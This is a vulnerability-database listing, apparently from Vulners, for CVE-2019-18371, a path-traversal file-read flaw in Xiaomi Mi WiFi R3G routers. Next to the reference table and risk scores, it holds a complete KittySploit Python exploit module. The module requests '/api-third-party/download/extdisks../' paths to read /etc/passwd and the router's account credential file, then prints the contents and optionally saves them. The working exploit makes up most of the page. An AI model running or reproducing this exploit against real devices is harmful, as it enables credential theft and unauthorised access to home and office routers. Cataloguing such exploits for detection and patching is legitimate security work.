Xiaomi Mi WiFi R3G LFI (CVE-2019-18371)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 8 Dec 202020:38 | – | gitee | |
| CVE-2019-18371 | 27 Jan 202409:11 | – | circl | |
| Xiaomi Mi WiFi R3G Path Traversal Vulnerability | 24 Oct 201900:00 | – | cnvd | |
| CVE-2019-18371 | 23 Oct 201920:02 | – | cve | |
| CVE-2019-18371 | 23 Oct 201920:02 | – | cvelist | |
| Penetration_Testing_POC | 14 Oct 202623:17 | – | kitploit | |
| Xiaomi Mi WiFi R3G Routers - Local file Inclusion Detection | 28 Jul 202611:27 | – | kittysploit | |
| Xiaomi Mi WiFi R3G Routers - Local file Inclusion | 11 Oct 202602:15 | – | nuclei | |
| CVE-2019-18371 | 23 Oct 201921:15 | – | nvd | |
| Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check | 22 Jul 202100:00 | – | openvas |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Xiaomi Mi WiFi R3G NGINX alias LFI (CVE-2019-18371)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Xiaomi Mi WiFi R3G LFI (CVE-2019-18371)',
'description': (
'Exploits CVE-2019-18371 in Xiaomi Mi WiFi R3G <2.28.23: NGINX alias misconfiguration '
'allows reading /etc/config/account and other files via api-third-party/download.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-18371'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-18371'],
'tags': ['xiaomi', 'router', 'lfi', 'credential-leak', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['file_read', 'credentials'],
'chain': {'suggested_followups': ['scanner/http/cve_2019_18371_detect']},
},
}
file_path = OptString('/etc/passwd', 'Remote path to read', required=True)
output_file = OptString('', 'Local output file', required=False)
def _path(self, remote: str) -> str:
remote = remote.lstrip('/')
return f'/api-third-party/download/extdisks../{remote}'
def execute(self, remote_path: str) -> str:
r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
return (r.text or '') if r and r.status_code == 200 else ''
def check(self):
body = self.execute(str(self.file_path or '/etc/passwd'))
if re.search(r'root:.*:0:0:', body or '') or 'admin' in (body or ''):
return {'vulnerable': True, 'reason': 'Xiaomi R3G traversal confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'LFI failed', 'confidence': 'medium'}
def run(self):
targets = (
str(self.file_path or '/etc/passwd'),
'etc/config/account',
)
for target in targets:
body = self.execute(target)
if body:
print_success(f'{target} — {len(body)} bytes')
print_status(body[:3000])
out = str(self.output_file or '').strip()
if out and body:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
return bool(body)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.3High risk
Vulners AI Score8.3
CVSS 25
CVSS 3.17.5
EPSS0.55872